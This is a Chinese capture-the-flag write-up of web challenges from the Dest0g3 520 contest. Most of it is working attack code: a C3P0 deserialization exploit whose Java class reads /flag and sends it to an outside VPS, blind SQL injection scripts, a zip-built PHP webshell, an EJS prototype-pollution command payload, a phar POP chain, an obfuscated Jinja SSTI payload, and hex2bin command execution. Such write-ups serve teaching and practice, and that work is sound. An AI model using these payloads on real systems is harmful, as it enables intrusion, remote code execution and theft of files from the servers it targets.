Dest0g3 520迎新赛
国赛赛前康复训练(并不是很成功)
本来想水一下,没想到摸了这么多题,但是个人赛,之前没保留做题记录,只能按照回忆写一下了。。。
ljctr
pom.xml看到C3P0依赖。直接ysoserial打。本地调试可以,远程绝壁不通。然后还有一个waf.jar。完全看不懂waf在赣神魔。搜一下agent还有waf有关,直接找到rasp。又是rasp!直接mrctf那个内存马来进行绕过,没成。先分析一波C3P0。这个链子挺短,所以就没在本地细纠。(主要是因为ysoserial能打,就没咋看)。可以去搜一下别人的分析,也挺细
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject ==>
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject ==>
com.sun.jndi.rmi.registry.RegistryContext->lookup
然后直接远程加载恶意类,并执行里面的静态代码块。ysoserial使用方法:
java -jar ysoserial-master-8eb5cbfbf6-1.jar C3P0 'http://47.96.173.116/:Exploit' |base64
然后在vps上写个恶意类。由于有waf,简单的命令执行跑不了。我想了半天,突然想到之前有个读取文件的方式可以进行绕过rasp。然后随便尝试了一下,居然能出网。然后就有思路了。想办法让它把文件内容带出来即可。贴一个最终的Exploit.class
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
public class Exploit {
static {
String u = "file:///flag";
try {
URL url = new URL(u);
InputStream is = url.openStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line + '/');
}
String res = new String(stringBuilder);
String u2 = "http://47.96.173.116:2333/" + res;
URL post = new URL(u2);
InputStream is2 = post.openStream();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
先来一波file协议读取文件,然后再发送到服务器即可。
Really Easy SQL
没想到提示在群公告。有了黑名单就好办了。直接绕过就行,insert注入,直接闭合就行。直接贴一个python脚本:
import time
import requests
url = 'http://333929e3-c74b-4419-979c-b140d09a4b9b.node4.buuoj.cn:81/index.php'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}
result = ''
i = 1
while (1):
left = 32
right = 128
while (1):
mid = (left + right) // 2
if left == right:
result += chr(left)
print(result)
i += 1
break
payload = {
"username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))>{},benchmark(1000000,md5(1)),0))||'".format(i, mid),
"password": "123"}
time1 = time.time()
res = requests.post(url=url, data=payload)
if res.status_code != 200:
time.sleep(1)
time1 = time.time()
res = requests.post(url=url, data=payload)
time2 = time.time()
if time2 - time1 > 0.5:
left = mid + 1
else:
right = mid
if (right == 32):
break
print('[*]Result ' + result)
easysql
没有给黑名单,发现如果有黑名单,是不执行语句的,可以用if来进行fuzz测试。然后发现上一题的payload尖括号不能用了,所以直接用等号(没了二分确实慢):
import time
import requests
url = 'http://8c0e4d08-3fa6-4fdc-99c1-1a57d112deff.node4.buuoj.cn:81/index.php'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}
# list = ['union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load']
result = ''
# temp = ''
i = 1
for i in range(1, 100):
for j in range(32, 128):
payload = {"username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(1000000,md5(1)),0))||'".format(i, j),
"password": "123"}
time1 = time.time()
res = requests.post(url=url, data=payload)
if res.status_code != 200:
time.sleep(1)
time1 = time.time()
res = requests.post(url=url, data=payload)
time2 = time.time()
if time2 - time1 > 0.5:
result += chr(j)
print(result)
break
if result[-1] == '}':
break
print('[*]Result ' + result)
#"username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))>{},benchmark(1000000,md5(1)),0))||'".format(i, mid),
# "password": "123"}
ezip
网上搜关于压缩包上传的,找到一个总结https://ucasers.cn/zip%E5%9C%A8CTF-web%E6%96%B9%E5%90%91%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95/#title-9
里面有一个关于php解压漏洞的,如果压缩包其中有一个文件的文件名巨长,就会报错,但是里面的木马已经被解压了。所以直接拿那个脚本进行一波跑:
import zipfile
import io
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('1.php', b'@<?php eval($_POST[1])?>')
zf.writestr('A'*5000, b'AAAAA')
with open("shell.zip", "wb") as f:
f.write(mf.getvalue())
#https://ucasers.cn/zip%E5%9C%A8CTF-web%E6%96%B9%E5%90%91%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95/#title-9
把生成的压缩包上传,1.php直接拿shell,flag没有权限,需要提权。用蚁剑反弹shell。
find / -perm -u=s -type f 2>/dev/null
但是这个命令响应不来(会429),找常用文件夹。
find /usr -perm -u=s -type f 2>/dev/null
找到一个nl命令,直接
nl /flag
NodeSoEasy
ejs3.1.7已经修复outputFunctionName
的原型链污染。然后网上搜,发现还有一个escapeFunction
。居然本地能行,然后打一手。发现每次污染之后都需要重启靶机,很烦。直接贴最终payload:
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}
PharPOP
有个throw Error很烦,整了半天,然后发现可以用数组绕过(需要把数组个数+1)。但是phar文件无法写入不合理的序列化字符串,卡了很久,直到搜到一篇讲fast destruct的文章,里面有个脚本可以直接生成这种phar。链子不难分析,写一下pop链:
tree->apple->air->tree
然后需要用原生类进行利用,可以用DirectoryIterator
进行文件读取,参数用glob:///*flag*
进行读取flag文件名,然后再用SplFileObject
进行读取。贴个exp:
<?php
//highlight_file(__FILE__);
class air{
public $p;
public function __construct($a)
{
$this->p = $a;
}
// public function __set($p, $value) {
// $p = $this->p->act;
// echo new $p($value);
// }
}
class tree{
public $name;
public $act;
public function __construct($a, $b)
{
$this->name = $a;
$this->act = $b;
}
// public function __destruct() {
// return $this->name();
// }
// public function __call($name, $arg){
// $arg[1] =$this->name->$name;
//
// }
}
class apple {
public $xxx;
public $flag;
public function __construct($a, $b)
{
$this->xxx = $a;
$this->flag = $b;
}
// public function __get($flag)
// {
// $this->xxx->$flag = $this->flag;
// }
}
class D {
public $start;
public function __construct($a)
{
$this->start = $a;
}
// public function __destruct(){
// $data = $_POST[0];
// if ($this->start == 'w') {
// waf($data);
// $filename = "/tmp/".md5(rand()).".jpg";
// file_put_contents($filename, $data);
// echo $filename;
// } else if ($this->start == 'r') {
// waf($data);
// $f = file_get_contents($data);
// if($f){
// echo "It is file";
// }
// else{
// echo "You can look at the others";
// }
// }
// }
}
//class banana {
// public function __get($name){
// return $this->$name;
// }
//}
$a = new tree(new apple(new air(new tree('a', 'SplFileObject')), '/fflaggg'), 'a');
//$c = new tree(new apple(new air(new tree('a', 'DirectoryIterator')), '/'), 'a');
$b = array($a);
//echo urlencode(serialize($b));
//$b = serialize($a);
@unlink("asd.phar.gz");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'__HALT_COMPILER();');
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system('gzip asd.phar');
echo urlencode(file_get_contents('asd.phar.gz'));
echo "\n";
$s = array(new D('w'));
echo urlencode(serialize($s));
//unserialize(serialize($s));
//throw new Error($s);
//echo "\n"."phar";
file_get_contents('phar://asd.phar.gz');
throw new Error('start');
//?>
<!--//fflaggg-->
写的很乱不要介意。然后把生成的phar文件弄到python脚本里面:
import hashlib
f = open("phar.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("asd.phar", "wb")
f.write(data)
f.close()
由于有些字符不能出现,所以再进行一次gzip压缩,上传即可:
1=a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A5%3A%22start%22%3Bs%3A1%3A%22w%22%3B%7D%7D&0=%1F%8B%08%08T%5B%8Bb%00%03asd.phar%00s%F7t%B3%B0L%8C%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%FA%CE%C0%C0%C0%08%C4%82P%9A%81%E1+%10%27Z%19ZUgZ%19X%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%40%09S%2B%A5%C4%82%82%1C%98%8C%B1%95REE%05H%02%C8J%CC%2CR%02%19Q%0C%24%94%0A%94p%1B%03V%90%08%A2A%BA%92K%C0%22%40fpA%8E%5BfN%AA%7FRV%2AH%B0%B6%16%AC%27-%271%1D%A4%C2%C2JI%3F%0D%C4I%07rkQ%F4%82M%AB5%E4%00z%A2%24%B5%B8D%AF%A4%A2%84%05%C86%8B%EEN%02%D1%3Cu%F57%96%40%FC%09%96%FF%94%DD%2C%FFH%D6%9F%A1%FF%A3%3D%D7%E1%F6f%D5%8DrM%E6L%409w%27_%27%00%CCf%05%A48%01%00%00
得到文件名,phar一下即可。
middle
很明显的一个pikle反序列化,需要调用后门。可以用github的pker工具生成pikle的序列化opcode。编写1.txt:
backdoor = GLOBAL('config', 'backdoor')
backdoor(['os.popen("cat /flag").read()'])
然后运行
python3 pker.py < 1.txt
然后把生成的数据进行base64上传即可。
EasySSTI
非常多过滤,但是空格可以用%0d代替。根据文章:https://xz.aliyun.com/t/9584
的终极payload:
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__
{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items
# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
把里面空格替换成%0d直接得到flag
funny_upload
直接把<?
ban了,但是可以上传.htaccess
,想到realworldctf可以进行任意文件读,所以直接读/flag
ErrorDocument 404 %{file:/flag}
然后访问不存在的页面即可。
SimpleRCE
很多过滤,但是没有过滤hex2bin。然后发现
hex2bin('73797374656d')(hex2bin('6c73'));//system('ls')
可以使用,直接拿下
hex2bin('73797374656d')(hex2bin('636174202f666c6167'));//system('cat /flag')
EasyPHP
明显只要报错就能出flag,post一个数组即可。
phpdest
老题,直接用php伪协议即可:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
EzSerial
md,用yso链子全试了,但是dnslog没有收到东西,估计靶机没有curl
,太烦了,就差这一题,没想到是cc6直接反弹shell就行,犯蠢了。